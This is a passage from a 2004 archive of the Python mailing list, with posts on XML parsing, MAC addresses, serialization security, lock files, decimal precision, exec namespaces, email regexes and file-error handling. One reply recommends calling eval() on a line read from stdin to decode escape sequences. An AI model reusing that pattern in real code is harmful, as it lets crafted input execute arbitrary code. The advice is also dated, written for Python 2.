your own "wire protocol", > basically your own simple protocol to communicate between cpython and > java. Using this trategy, open some form of communication channel > between the two programs, e.g. socket, pipe, fifo, etc, and send > commands/messages between the two ends. > > Having seen your posts here and on the Python-CE list over the last few > days, I can see that this problem is proving complex for you. I would > urge you to stop looking at every technology on your PDA and trying to > figure out how to glue them together. > > I think you should focus on being able to process your XML in cpython, > i.e. try to keep all your technology in the same language and in the > same process. You're overly complicating it otherwise. > > I think the best solution for you is to use and event-based python > parser to parse your XML. Event based-based parsing, e.g. SAX, is > generally pretty quick, even when it is written in pure python. The > slowness you have been experiencing (I saw 10 minutes for pxdom to parse > your xml files?) is because you're trying to build a DOM, i.e. a > Document Object Model. DOM's are *huge* memory hogs, requiring very > substantial amounts of memory and cpu to build, and in most cases are > completely unsuitable for the problem at hand. > > What you should consider is building your own object model, based on the > events generated by your SAX parser. Although this sounds hard, it is > actually extremely easy, as this ActiveState cookbook entry shows. > > http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/149368 > > There are also multiple cpython products which will build a python > object model from XML events: all of these should be comparatively cpu > and memory efficient. > > Objectify > http://gnosis.cx/download/gnosis/xml/objectify > > Anobind > http://uche.ogbuji.net/tech/4Suite/anobind/ > > ElementTree > http://effbot.org/downloads/#elementtree > > Try out an approach like the one above: it will greatly simplify your > life. And it should be reasonably efficient in execution time. > > If none of the above works for you, post back again. > > regards, > > -- > alan kennedy > ------------------------------------------------------ > email alan: http://xhaus.com/contact/alan > -- > http://mail.python.org/mailman/listinfo/python-list > ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From grante at visi.com Mon Sep 20 20:57:10 2004 From: grante at visi.com (Grant Edwards) Date: 21 Sep 2004 00:57:10 GMT Subject: MAC address References: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au> <200409201005.25963.heikowu@ceosg.de> <414efed5$0$60631$a1866201@newsreader.visi.com> Message-ID: <414f7c66$0$60638$a1866201@newsreader.visi.com> On 2004-09-20, Ajay wrote: > Quoting Grant Edwards : > >> On 2004-09-20, Ajay wrote: >> >> > its actually windows that i would like to find out about. what >> > i am trying to do is to anonymize client address by picking a >> > random MAC address and using that instead >> >> That's a pretty bad idea. If you insist on doing it, read the >> Ethernet spec so you make sure you're picking a valid address. > > and why is it a bad idea? How are you going to avoid collisions? I suppose it's a sufficiently slim probability you can just ignore it. > also, is there an alternative way to anonymize a client? Not really, but how could your MAC address be traced to you, anyway? -- Grant Edwards grante Yow! What's the MATTER at Sid?... Is your BEVERAGE visi.com unsatisfactory? From abra9823 at mail.usyd.edu.au Thu Sep 2 08:40:53 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Thu, 2 Sep 2004 22:40:53 +1000 Subject: design question In-Reply-To: References: Message-ID: <1094128853.413714d5783a1@www-mail.usyd.edu.au> hi! there is a W3 standard for expressing privacy policies called P3P. what my application needs to do is to examine a privacy policy defined by a service against user preferences for privacy expressed using APPEL. so eg: my privacy policy could say what sort of data i collect, whats its used for, how long its kept, whether identifying data is taken, who all can access the data and so on. the user can define his preferences as a set of rules. eg: rule 1 may say dont allow any site that wants my name. rule2 may say block any sites that take idenitfying data. rule3 may say allow all sites under the domain www.w3.org. rule4 may say prompt me everytime a service wants data that is kept for more than 3 days. and so on.... there are a number of p3p user agents that do this. explorer has one i believe. ibm have something called privacy bird. so thats what i need to do. i read the policy and preferences as DOM hierarchies and then starting from rule1 in the preference, i examine it against the policy. i have already got it done in python (it was a matter of reimplementing the evaluator written in Java by an organization called the Joint Research Centre) and it works fine on a pc. the trouble is using it in a PDA. cheers Quoting Alan Kennedy : > [Ajay] > > I am trying to write an application, say myapp, which does some xml > > processing and then interacts with another application, say app2. > > App2 is in Python and i can't change it. > > Show us a couple of simple examples of the type of XML processing you > need to do. > > There may be simple ways to achieve your goals that don't actually > require an XML parser at run time, or that would be efficient enough > given a pure python parser/etc. It depends heavily on what type of XML > processing you're doing. > > -- > alan kennedy > ------------------------------------------------------ > email alan: http://xhaus.com/contact/alan > -- > http://mail.python.org/mailman/listinfo/python-list > ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From albalmer at att.net Fri Sep 3 14:50:42 2004 From: albalmer at att.net (Alan Balmer) Date: Fri, 03 Sep 2004 11:50:42 -0700 Subject: Xah Lee's Unixism References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> Message-ID: On Fri, 03 Sep 2004 12:09:30 -0600, Anne & Lynn Wheeler wrote: > transportation sectioning requirement because the sections > were manufactored in utah No, because they were *not* manufactured on the launch pad. Transportation would be required from any other place - in Utah or not. Even if they were manufactured on the launch pad, there would be more than one piece. -- Al Balmer Balmer Consulting removebalmerconsultingthis at att.net From chrisks at NOSPAM.udel.edu Sat Sep 18 00:20:14 2004 From: chrisks at NOSPAM.udel.edu (Chris S.) Date: Sat, 18 Sep 2004 04:20:14 GMT Subject: PyYaml? Message-ID: <2IO2d.1086$HH5.1025@trndny05> Is there any benefit to Pickle over YAML? Given that Pickle is insecure, wouldn't it make more sense to support a secure serialization format, one that's even readable to boot, such as YAML? There's even a pure Python implementation at www.pyyaml.org From sjdevnull at yahoo.com Thu Sep 30 14:32:04 2004 From: sjdevnull at yahoo.com (G. S. Hayes) Date: 30 Sep 2004 11:32:04 -0700 Subject: multiple instance on Unix References: <52324E76-123E-11D9-B04E-0003938543A0@orthogonsystems.com> <415AF802.1080909@bellsouth.net> Message-ID: <96c2e938.0409301032.252a5969@posting.google.com> C Ginger wrote in message news:... > I know the approach to creating a lock file has been around a long time > but there are certain weaknesses to it. There are a number of race > conditions in it. For instance if process A detects the directory isn't > there it will attempt to create it. During that same time process B > might also not find it there - since A hasn't completed its create yet. The code Nigel posted doesn't have this race. It (properly) tries to create the directory (doesn't look at whether the dir exists beforehand) and checks for success or failure. That is an atomic operation. From ialbert at mailblocks.com Tue Sep 28 13:45:01 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Tue, 28 Sep 2004 13:45:01 -0400 Subject: re-entering in the normal flow after an exception is raised In-Reply-To: References: <4edc17eb.0409280817.27ef4f43@posting.google.com> Message-ID: Istvan Albert wrote: > Maybe you could extract the function from the current scope: heh ... what a stupid circular logic ... since then it would be directly available anyway ... sorry ... From steven.bethard at gmail.com Tue Sep 14 14:28:00 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Tue, 14 Sep 2004 12:28:00 -0600 Subject: deque slicing Message-ID: Anyone know why deques don't support slicing? >>> from collections import deque >>> d = deque(i**2 - i + 1 for i in range(10)) >>> d deque([1, 1, 3, 7, 13, 21, 31, 43, 57, 73]) >>> d[:5] Traceback (most recent call last): File "", line 1, in ? TypeError: sequence index must be integer >>> [d[i] for i in range(5)] [1, 1, 3, 7, 13] Is there a performance problem with supporting slicing perhaps? Steve -- You can wordify anything if you just verb it. - Bucky Katt, Get Fuzzy From indigo at bitglue.com Tue Sep 7 13:37:00 2004 From: indigo at bitglue.com (Phil Frost) Date: Tue, 7 Sep 2004 13:37:00 -0400 Subject: hex value in string back to real hex value In-Reply-To: <106645cc.0409070847.40b87e6e@posting.google.com> References: <106645cc.0409070847.40b87e6e@posting.google.com> Message-ID: <20040907173700.GB12005@unununium.org> I'm not sure just what your problem is here. The best solution would be to make your strings "\xe7" and not "\\xe7". The former contains the real byte 0xe7, while the latter contains three bytes. When the former is written to a file, you will get whatever letter 0xe7 represents depending on what encoding you use. If you have a reason to not do that (perhaps you are prompting for some data and want escapes to be recgonized) then you could use something like this: a = sys.stdin.readline() a = eval('"""'+a.replace('"""','"""+\'"""\'+"""')+'"""') On Tue, Sep 07, 2004 at 09:47:01AM -0700, jack wrote: > Hi everyone, > > I get in a program an hexa value codes in a string for example \xe7 > which correspond to a french character. > > The string would be "\xe7t\xe7" and I want to write in a file ?t? and > not \xe7t\xe7. > > Sure I could write a function to analyse the string, find all the hexa > caracter (because of the \x) and convert the value to decimal and back > to the correct cahracter. > > Is there something simplier ? > > An example below for generating such a string : > a="" > a=a+"\\" > a=a+"x" > a=a+"e" > a=a+"7" > len(a)= 4 # so it is not understood as the hexa value !! > a > "\xe7" > > > Thanks in advance. > > Jack. From deetsNOSPAM at web.de Wed Sep 1 13:33:23 2004 From: deetsNOSPAM at web.de (Diez B. Roggisch) Date: Wed, 01 Sep 2004 19:33:23 +0200 Subject: initializing mutable class attributes References: <1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com><1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com><8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com><1gjfkp7.aepmjg11ubf2rN%aleaxit@yahoo.com> <4JmZc.158232$UTP.119324@twister01.bloor.is.net.cable.rogers.com> Message-ID: > I'm not sure what you mean by removing the object as ancestor, but here is > a modified code similar to Jorge's and it doesn't work: > class test: > pass > > class derived(test): > def __init__(self): > test.__init__(self) > > d = derived() > > The call to test.__init__(self) raises an AttributeError exception. I'm sorry, you're right - I meant to modify the example the way you did, to check if it works or not. But for some reason I just made it run (which was more work than expected due to embedded unicode spaces) and then forgot to actually do what I wanted - remove the (object). And then it doesn't work, as you correctly observed. Sorry for me beeing confused. -- Regards, Diez B. Roggisch From irmen at -NOSPAM-REMOVETHIS-xs4all.nl Tue Sep 14 12:42:27 2004 From: irmen at -NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong) Date: Tue, 14 Sep 2004 18:42:27 +0200 Subject: Communication between remote scripts In-Reply-To: References: Message-ID: <41471f73$0$10528$e4fe514c@news.xs4all.nl> ChrisH wrote: > Am I correct in saying that remote objects are not really needed for > this? [...] >>I would like to create a second program on a remote Windows computer >>that receives an update from program A periodically (maybe every 10 >>minutes or so), and tells it everything is running without a problem. >> >>Can anyone recommend a good (and preferably simple) way for two programs >>to communicate on a network? Perhaps remote objects are a bit overkill for your specific problem. But then again, Pyro for instance (pyro.sf.net) essentially removes the need for any network code in your app, and takes care of various other nasty things that happen at the network level. So unless you choose to use Pyro or some other high level API, you will have to deal with all this yourself-- and that may be more work than you think... --Irmen >> From brandon at ten22.rhodesmill.org Thu Sep 9 15:01:11 2004 From: brandon at ten22.rhodesmill.org (Brandon Craig Rhodes) Date: Thu, 09 Sep 2004 15:01:11 -0400 Subject: Is except: ... pass bad style? References: <873c1re0am.fsf@ten22.rhodesmill.org> Message-ID: <87vfenclmw.fsf@ten22.rhodesmill.org> I carelessly wrote: > meth = getattr(myobj, method) > if meth: > meth() but in fact intended the first line to be meth = getattr(myobj, method, None) Sorry for any confusion. :-) -- Brandon Craig Rhodes brandon at rhodesmill.org http://rhodesmill.org/brandon From tim.peters at gmail.com Sun Sep 26 20:26:23 2004 From: tim.peters at gmail.com (Tim Peters) Date: Sun, 26 Sep 2004 20:26:23 -0400 Subject: Floating-point glitches with the math module. Bug? Or am Imissing something? In-Reply-To: References: <20040921000356.GA2641@unpythonic.net> <1f7befae040920235213950f17@mail.gmail.com> Message-ID: <1f7befae04092617267b00d2f7@mail.gmail.com> [Tim, sez that when you evaluate a function near a local min or max, then it's unavoidable that using finite-precision arithmetic makes a 1-to-1 mathematical function appear to be many-to-1] [Terry Reedy] > To illustrate: > >>> for i in range(50): print `cos(i*1e-9)` # Windows, 2.2 > 1.0 > 1.0 > 1.0 > 1.0 > 1.0 > 1.0 > 1.0 > 1.0 > 1.0 > 1.0 > 1.0 > 0.99999999999999989 > 0.99999999999999989 ... > The mathematically smooth cos(x) is effectively a stairstep function for > |x|<5e-8. Stairsteps are hard to invert ;-). Yup! I'd like to point out too that the new decimal module lowers the bar for doing numeric *investigation* in two important ways: (1) just because it's decimal, it's much easier for people to understand what they're seeing; and, (2) because you can boost precision to anything you like whenever you like, it's often dead easy to write a function that delivers excellent accuracy. I won't say much about the following, but hope it illustrates both points for those who run it and stare at it. The decimal cosine routine is about as naive as you can imagine, but by temporarily boosting the working precision to twice the caller's precision, then rounding back at the end, it delivers high-quality results. Until the input argument gets "too big". Then it's a disaster. So I hope this also illustrates that decimal isn't a magical cure either. """ import decimal, math def deccos(x): origprec = decimal.getcontext().prec decimal.getcontext().prec = 2 * origprec result = term = decimal.Decimal(1) # Compute 1 - x**2/2! + x**4/4! - x**6/6! ... i = 1 sq = -x*x while True: term *= sq term /= i*(i+1) i += 2 newresult = result + term if result == newresult: break result = newresult decimal.getcontext().prec = origprec return result + 0 # round to orig precision decimal.getcontext().prec = 20 base = decimal.Decimal("1e-9") for i in range(50): x = base * i dcos = deccos(x) fcos = math.cos(float(x)) print "%6s %22s %19.17f %s" % (x, dcos, fcos, fcos == float(dcos)) """ One thing to notice is that, working with 20 decimal digits, all these inputs have distinct computed cos() values. Another is that math.cos() delivers the same results, after rounding to native binary fp precision. Another is that while we can tell that's so because the 4th column always says "True", you'd have a hard time guessing that from staring at the 2nd and 3rd columns; for example, it's probably not intuitively obvious that the decimal 0.999999999999999838 "rounds to" 0.99999999999999989 when converted to native binary fp and then back to 17-digit decimal. Getting binary<->decimal conversion errors out of the equation makes working with the decimal module easier for everyone. decimal-is-too-important-to-waste-on-money-ly y'rs - tim From jerf at jerf.org Wed Sep 8 19:45:53 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Wed, 08 Sep 2004 23:45:53 GMT Subject: container-indepentent iteration code ? References: <10jv5ad1sjgep4d@corp.supernews.com> Message-ID: On Wed, 08 Sep 2004 19:27:38 -0400, flacco wrote: > > is there a way to iterate over the *values* in a list/dict/whatever, > regardless of whether it's a list, dict, or whatever? ie, the iteration > code will not know beforehand what kind of container it's getting. In what way does for obj in container: not meet your needs? From aleaxit at yahoo.com Mon Sep 6 06:04:04 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 6 Sep 2004 12:04:04 +0200 Subject: Fastest way to loop through each digit in a number? References: Message-ID: <1gjox3c.1xnvv67wtms2N%aleaxit@yahoo.com> Roy Smith wrote: > In article , > Rune Strand wrote: > > > Hi, > > If I have a lot of integers and want do something with each digit as > > integer, what is the fastest way to get there? > > > > Eg. Make 12345 into an iterable object, like [1,2,3,4,5] or "12345" > > Does it matter what order you process the digits, i.e. least-significant > first vs. most-significant first? If you can do least first, then you > might be best off doing something straight-forward like: > > i = 12345 > while i: > digit = i % 10 > i = i / 10 > print digit > > although, with the new-style division, I'm not sure if you want / or //. He'd surely want truncation, so I don't understand why he could possibly want / (which in new-style division means true, non-truncating division), it's surely gotta be //. divmod looks like it might be better, but from some q&d timeit.py'ing, it seems this approach is fastest (30% faster than divmod) if these semantics are OK (when i is 0 you get nothing rather than a single 0...) -- map(int, str(i)) is midway in speed through these purely numeric approaches (with % and // vs with divmod). Alex From mauriceling at acm.org Thu Sep 30 20:49:43 2004 From: mauriceling at acm.org (Maurice LING) Date: Fri, 01 Oct 2004 00:49:43 GMT Subject: embedding python in python In-Reply-To: <10lp8chm0d6u185@corp.supernews.com> References: <415a7f0b$1@news.unimelb.edu.au> <4b39d922.0409290938.42c68ca4@posting.google.com> <415b415e$1@news.unimelb.edu.au> <415c921b$1@news.unimelb.edu.au> <10lp8chm0d6u185@corp.supernews.com> Message-ID: <415ca9a3$1@news.unimelb.edu.au> > > >>> myglobals = {} > >>> mylocals = {} > >>> exec "b = 1 + 2" in myglobals, mylocals > >>> mylocals > {'b': 3} > >>> exec "c = b * 2" in myglobals, mylocals > >>> mylocals > {'c': 6, 'b': 3} > >>> >>> > > The exec statement can take an optional pair of dictionaries that it > uses as the global and local namespaces to execute the given code in. > This is *much* preferable to a bare exec for several reasons, one of > them being exactly your issue, and another being safety -- since you > must explicitly include any names that you want exec to use, it makes > exec rather less likely to unintentionally stomp all over your namespace > (or for malicious code to do certain types of harm). > > Jeff Shannon > Technician/Programmer > Credit International > Please pardon me for my dumbness but what exactly goes on in exec "b = 1 + 2" in myglobals, mylocals ? Thanks Maurice From marilyn at deliberate.com Fri Sep 24 21:01:21 2004 From: marilyn at deliberate.com (Marilyn Davis) Date: Fri, 24 Sep 2004 18:01:21 -0700 (PDT) Subject: sockets and pipes and bad results Message-ID: Hello Python Gurus, I'm having a problem when writing to a socket. It only happens when I am also doing some piping into exim, my MTA. Like this: ./test1.py >> Here test1.py sends email via my module, exim.py, which pipes the >> message into exim. All the digits are the results from fileno() >> calls, on the open socket or on open file descriptors. exim pipe descriptors: 7 6 9 exim.py piped into 6 exim closed pipes: 6 7 9 >> Next, test1.py calls my module, xfer_pop.py to read mail from a pop >> server, opening a socket: xfer_pop.py: ['from test1:marilyn1', 'test', 2] xfer_pop.py socket 6 opened and used: +OK fishgills.net POP MDaemon 7.0.1 ready >> After some conversation, it decides to collect message # 139 and >> pipe it into exim: XferMessage # 139. xfer_pop socket before exim pipe: 6 exim pipe descriptors: 8 7 10 >> here it's piping the headers exim.py piped into 7 >> and now it's trying to receive the body: xfer_pop.py socket in loop: 6 Traceback (most recent call last): File "./test1.py", line 254, in ? exec(x) File "", line 1, in ? File "./test1.py", line 143, in marilyn1 xfer_pop.main(['from test1:marilyn1', 'test', 2]) File "/b/bmail/scripts/xfer_pop.py", line 446, in main popee.run() File "/b/bmail/scripts/xfer_pop.py", line 338, in run XferMessage(self, (str(msg))) File "/b/bmail/scripts/xfer_pop.py", line 70, in __init__ more = self.popper.remote.recv(BLOCK) socket.error: (9, 'Bad file descriptor') --- My test1.py can call xfer_pop.py lots of times, piping into exim many times each call, and it will always be successful, UNLESS test1.py makes a call to exim.py first. Once that happens, a subsequent call to xfer_pop.py crashes as above. Can anyone suggest a possible cause or remedy? Thank you for any help you can give. Marilyn Davis From narshe at gmail.com Tue Sep 21 11:48:29 2004 From: narshe at gmail.com (Josh Close) Date: Tue, 21 Sep 2004 10:48:29 -0500 Subject: OT: regex to find email In-Reply-To: References: <4a0cafe204092108038020f72@mail.gmail.com> Message-ID: <4a0cafe2040921084828f898d8@mail.gmail.com> On Tue, 21 Sep 2004 17:08:47 +0200, Remy Blank wrote: > > > Josh Close wrote: > > I've been trying to find a good regex to parse emails, but haven't > > found any to my liking. I basically need to have > > > > ( r'[a-z0-9\.\-\_]@[a-z0-9\.\-\_]', re.IGNORECASE ) > > > > but the first part can't start with .-_ and the last part has to have > > a . in it (first/last being before/after the @). > > I'd try something like (untested): > > [a-z0-9][a-z0-9\._-]*@[a-z0-9\._-]+\.[a-z0-9\._-]+ > > Basically, you have to remember to say *how many* characters you want > of a specific set, that's what the '*' and '+' are for. > > -- Remy > > Remove underscore and suffix in reply address for a timely response. > > > > -- > http://mail.python.org/mailman/listinfo/python-list > Ok, I see how this works.... but now how would I add {3,64} for the id and {3,255} for the domain? I forgot to throw that part in earlier. I believe a valid id is 3-64 chars and domain is 3-255 chars. So basically like this [\w[\w\._-]*]{3,64}@[[\w\._-]{3,255}\.[\w\._-]+] ......I know that won't work, but I'd like to verify that the id is 3-64 chars long, and doesn't start with -._ and the domain is 3-255 chars long and doesn't start with -._ but must have a dot and tld's like .com.au need to be accounted for also. -Josh From zanesdad at bellsouth.net Thu Sep 30 22:54:56 2004 From: zanesdad at bellsouth.net (Jeremy Jones) Date: Thu, 30 Sep 2004 22:54:56 -0400 Subject: File handling: The easy and the hard way In-Reply-To: References: Message-ID: <415CC700.6070008@bellsouth.net> Hopefully, I'm not belaboring this. Just a few questions that need to be addressed in the development of any application: 1. Who is the user? 2. What is the application? (duh) 3. What problems/errors/exceptions are going to occur and what do you do with them when they do? (this is highly contingent upon the answers to the first two questions) We'll get back to this. Steve Holden wrote: > Jeremy Jones wrote: > >> Hans-Joachim Widmaier wrote: >> > [...] > >> >>> Especially not when the error is not in the program itself, but rather >>> just a mistyped filename. (Most of my helper scripts that we use to >>> develop software handle files this way. And even my co-workers don't >>> recognize 'file or directory not found' for what it is.) End users are >>> entitled to error messages they can easily understand like "I could not >>> open 'blaah' because there is no such file". >> >> >> So, you're saying that dumping a raw traceback like: >> IOError: [Errno 2] No such file or directory: '/foo/bar/bam' >> to a logfile is a no-no? Instead, it should say: >> >> I'm sorry sir, but an error occurred when trying to write to file >> /foo/bar/bam because it wasn't there. >> > A traceback is not an error message. When a non-programming user sees > a fifteen-line stack trace with python statements and line numbers in > it that's quite enough to stop most of them from even reading it to > see if there's anything they understand at all. You're partially right. Not all tracebacks are error messages. Not all error messages are tracebacks. Tracebacks are when an exception occurs. An error could happen and no traceback may result. In the example of the OP of a mistyped filename, you could catch that error before you try to open the file. That may not be the best way. I kinda like relying on exceptions to help guide the flow of a program. Nevertheless, they are different, but there can be overlap. Since the OP was concerned with exceptions that may happed during opening and writing to files, I focused on that. Here we begin to answer the questions I posed above. Who is the user? BTW - I didn't say it was a good idea in every case to always throw a traceback in the user's face, nor do I think it's always advisable to necessarily throw an error message in the user's face when an error occurs. What I did say was to use common sense in every case. If you are developing an application for a more technical segment of the population, you may very well be justified in displaying an error message at times *when common sense dictates*. Even for the technical crowd, don't splat them with a stack trace just because you can and they may be able to decipher it. If you're developing for the more general public, use common sense there, too, and give them what may help them solve the problem themselves. That's a good goal, eh? Let the user solve their own problems to the extent that they can and ask for help from the developer only when they absolutely need it. I think this is the laziness virtue of a good programmer. Another question to look at here is, what error occurred? Again, if the user mistyped a filename, you should be able to gently tell the user that the file they specified was not found and not bother them (technical or not) with a traceback. If you lost the filesystem that your data files live in.....well....you're pretty outa luck there. Stack trace isn't going to hurt anything depending on your audience. > >> I think the traceback is perfectly understandable. I think that even >> an end-user would be able to comprehend that type of message. Or, if >> you get an IOError, is this not sufficient: >> IOError: [Errno 28] No space left on device >> ? >> > Again, that's not a traceback. It's an error message. > >> Chances are, end users aren't going to be particulary concerned with >> exceptions you log - unless they've got a problem that they can't >> figure out. And if they've got a problem they can't figure out, >> you'd be better off giving them as much information as you can give >> them, or they'll come to you for help. And when they do come to you >> for help, you'd better make sure you've given yourself the most >> informatino you can to solve the problem. So logging a traceback is >> a great idea IMHO. Now, in areas where you're dead sure that an >> exception is nothing to be concerned with, don't bother. So, a good >> approach may be: handle the specific exceptions that you know may >> occur, let other unexpected (or expected in worst case scenarios) >> exceptions filter up to a higher level, log them there, and if need >> be, terminate program execution. >> > This isn't about not terminating the program, it's about reporting the > reasons in a manner acceptable to average users. ?? Did you take from what I said that I wasn't concerned with reporting the reasons back to the user in an acceptable fashion? That's part of what I said above with "handle the specific exceptions that you know may occur." A good developer should try to figure out what can break and address it before it does (within the bounds of common sense, of course). Again, WRT common sense, quoting myself from below: """ Do your best to try to figure out what that reason is, deal with it, figure out the most reasonable thing to do with _that_ exception, and move on. Sometimes that'll mean throwing a traceback to a log file, sometimes it will mean handling it gracefully and "prettying up" the message for logging or display to the end user, sometimes it will mean totally ignoring it, other times you may need to just stop the program. """ Honestly, Steve, I know I may not be the sharpest knife in the drawer, but I'm getting the impression you're trying to make me out to be dumber than I am.... I'm not saying that we need to just spew tracebacks everywhere. I'm saying you need to handle them the best you can. _Sometimes_ that means you know that an exception may possibly occur and the best thing you can do is just let it hit the fan. > >>> Graceful error handling is >>> even more important when a program isn't just run on a command line but >>> with a GUI. >>> >>> >> Maybe so. But if you hit an "Oh, crap, what do I do now?" exception, >> you may want to throw up a dialog box with a traceback or something >> and when the user clicks OK on it, terminate program execution. That >> gives them a chance to (unlikely) figure out what they can do to >> remedy the situation, otherwise call for help. >> > I'm all for LOGGING tracebacks. Indeed WingIDE is a beauty in this > respect, since it's also prepared to send feedback to Wing if you ask > it to, as is Mozilla and (nowadays) Internet Explorer. > > Given this, there's little excuse for showing the traceback in the > regular case, though I don't object to allowing users to look for it > if they want. Tell that to the anal retentive security guy who's got the application server totally cordoned off from the internet so that's an impossibility. I know, you said, *regular case.* All I'm saying is, be discerning. Know the user and what kind of error you may be getting. Provide the information that the user and developer may need to solve the problem that occurred. If that means sending it back via a feedback agent, great. If that's dumping a stack trace to a log file, great. Sometimes, if that means showing the exception to the user, great. > >>> Which means? Which means that all this convenient file handling that >>> Python offers really should not be used in programs you give away. >>> When I >>> asked for a canonical file access pattern some months ago, this was the >>> result: >>> http://groups.google.com/groups?hl=de&lr=&ie=UTF-8&threadm=pan.2003.12.30.21.32.37.195763%40web.de&rnum=1&prev=/groups%3Fhl%3Dde%26lr%3D%26ie%3DUTF-8%26q%3Dfile%2Bpattern%2Bcanonical%26btnG%3DSuche%26meta%3D >>> >>> >>> Now I have some programs that read and write several files at once. And >>> the reading and writing is done all over the place. If I really >>> wanted to >>> do it "right", my once clear and readily understandable code turns >>> into a >>> nightmare. This doesn't look like the language I love for its >>> clarity and >>> expressivness any more. Python, being a very high level language, >>> needs a >>> higher level file type, IMHO. This is, of course, much easier said than >>> done. And renown dimwits like me aren't expected to come up with >>> solutions. >>> I've thought about subclassing file, but to me it looks like it >>> wouldn't >>> help much. With all this try/except framing you need to insert a call >>> level anyway (wondering if this new decorator stuff might help?). >>> The best >>> I've come up so far is a vague idea for an error callback (if there >>> isn't >>> one, the well known exceptions might be raised) that gets called for >>> whatever error occured, like: >>> >>> class File: >>> ... >>> def write(self, data): >>> while True: >>> try: >>> self._write(data) >>> except IOError, e: >>> if self.errorcallback: >>> ret, dat = self.errorcallback(self, F_WRITE, e, >>> data) >>> if ret == F_RETURN: >>> return dat >>> else: >>> raise >>> >>> The callback could then write a nice error message, abort the program, >>> maybe retry the operation (that's what the 'while True'-loop is for) or >>> return whatever value to the original caller. Although the callback >>> function will usually be more than a few lines, it can be reused. It >>> can >>> even be packed into your own file-error-handling module, something the >>> original usage pattern can't. >>> >>> >> Hmmm....interesting. Shouldn't you put a break after your >> self._write(data)? This is probably not a bad way of going about >> things, but what types of files are we talking about here? Log >> files? I think you're probably better off using the builtin logging >> and just dump raw tracebacks in there. Data files? Then you've >> probaby got that wrapped in code to write formatted data to the data >> file anyway in which case, this type of specialized class is probably >> not a bad thing. If you're trying to write data to a data file, you >> don't want litter it with error messages. You want to log it and, >> maybe even unlink the data file and do something special. >> >>> If you still bear with me, you might as well sacrifice a few more >>> seconds >>> and tell me what you think about my rant. Is everything just fine as >>> it is >>> now? Or do I have a point? I always felt it most important to handle >>> all >>> errors a program may encounter gracefully, and the easier this is to >>> do, >>> the less likely it is a programmer will just sneak around the issue and >>> let the interpreter/run time system/operating system handle it. (And >>> yes, >>> I'm guilty of not obeying it myself, as it can double or triple the >>> time >>> needed to write the whole program; just because its so cumbersome.) >>> >>> >>> >> I dunno - something just doesn't feel right here. I kinda feel like >> you're wanting to create an over-generalized solution. Your File >> class is interesting and may be a good start for a lot of general >> solutions and having a callback mechanism helps specialize it, >> but....something just doesn't sit totally right here with me. This >> may work totally perfectly and may be an excellent piece of code to >> handle all of your file writing activities. I dunno.... >> >> You're not going to be able to catch every exception - not >> meaningfully, anyway. You could do something like: >> >> if __name__ == "__main__": >> try: >> main() >> except Exception, e: >> log(e) >> >> But that isn't handling all errors.... >> > It's certainly catching all subclasses of Exception, though, which in > modern Python should be everything not handled inside (string > exceptions are a throwback, retained for compatibility reasons). As to > whether they are bing "handled", I guess that's a matter of opinion. > >> Production quality code doesn't necessarily mean never terminating >> because of an exception. You want to reduce the frequency of program >> termination due to exceptions. I can appreciate your desire to make >> sure you've got good solid software, and not encumber the end user >> with ever little exception you hit, but sometimes it's OK to log/show >> exceptions. Like I said earlier, when you hit an exception, you hit >> it for a reason. Do your best to try to figure out what that reason >> is, deal with it, figure out the most reasonable thing to do with >> _that_ exception, and move on. Sometimes that'll mean throwing a >> traceback to a log file, sometimes it will mean handling it >> gracefully and "prettying up" the message for logging or display to >> the end user, sometimes it will mean totally ignoring it, other times >> you may need to just stop the program. All of these resolutions can >> be part of a production quality piece of software. The discerning >> programmer has to decide which solution is appropriate for which >> situation. Like Steve Holden mentioned, it's really good that you're >> concerned with such things, but make sure you apply common sense to >> each scenario. >> >>> Waiting-for-you-to-jump-on-me'ly yours, >>> Hans-Joachim >>> >>> >> Hope I didn't jump too hard. >> > Possibly. Yes, I may have jumped him a bit hard. Here were my beefs: 1. The OP comes in in rant mode and almost states that Python is flawed and inadequate to be released as production quality code - or that it is impossible to write production quality code in Python because it is flawed. I know that's not what he said, but that's the impression I got from his overall tone and his comments: While this is very handy for interactive usage or throw-away scripts, I'd consider it a serious bug in a "production quality" software. Python, being a very high level language, needs a higher level file type, IMHO. Honestly, they just kinda set me off a bit. I apologize to the OP if I did jump a bit too hard, but when you waltz into c.l.p. and state what it felt like he was saying, it's kind of like someone waltzing into my living room and kicking my dog. It's just not going to go over too well. I don't think Python needs a higher level file class. I still think he's got a lot of good ideas in there. I think the thing that didn't sit well with me earlier was that it came across sounding like, "Python needs a new file class. You can't claim that your code is production ready unless you do something similar to this." Which is a nice segue into 2. It seemed to me that the OP was positing a solution to be used in a broader context than necessary. Whereas I have stated over and over and over that common sense must be applied to every situation and every situation must be evaluated differently, I haven't gotten the same vibe from the OP. Sometimes his solution may work just fine and dandy. May even make a great open source project. I'm sure a lot of people would use it. I might even use it some. I just got the impression that he was speaking far too categorically for my tastes. > >> Jeremy Jones > > > regards > Steve I hope that I haven't come across as antagonistic as I fear I may have. I greatly respect you, Steve. You're a great writer and a valuable contributor to this group. I don't think we're too far off from what the other is saying. I don't even think I'm too far off from the spirit of what the OP was trying to say. I just had a problem with what I perceived the OP to be saying (WRT generalization of a solution) and didn't care for how it came across. I feel better after getting that out. Hope we can still be friends :-) Mr. Holden, I remain sincerely and respectfully yours, Jeremy Jones From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom Tue Sep 28 14:43:20 2004 From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom 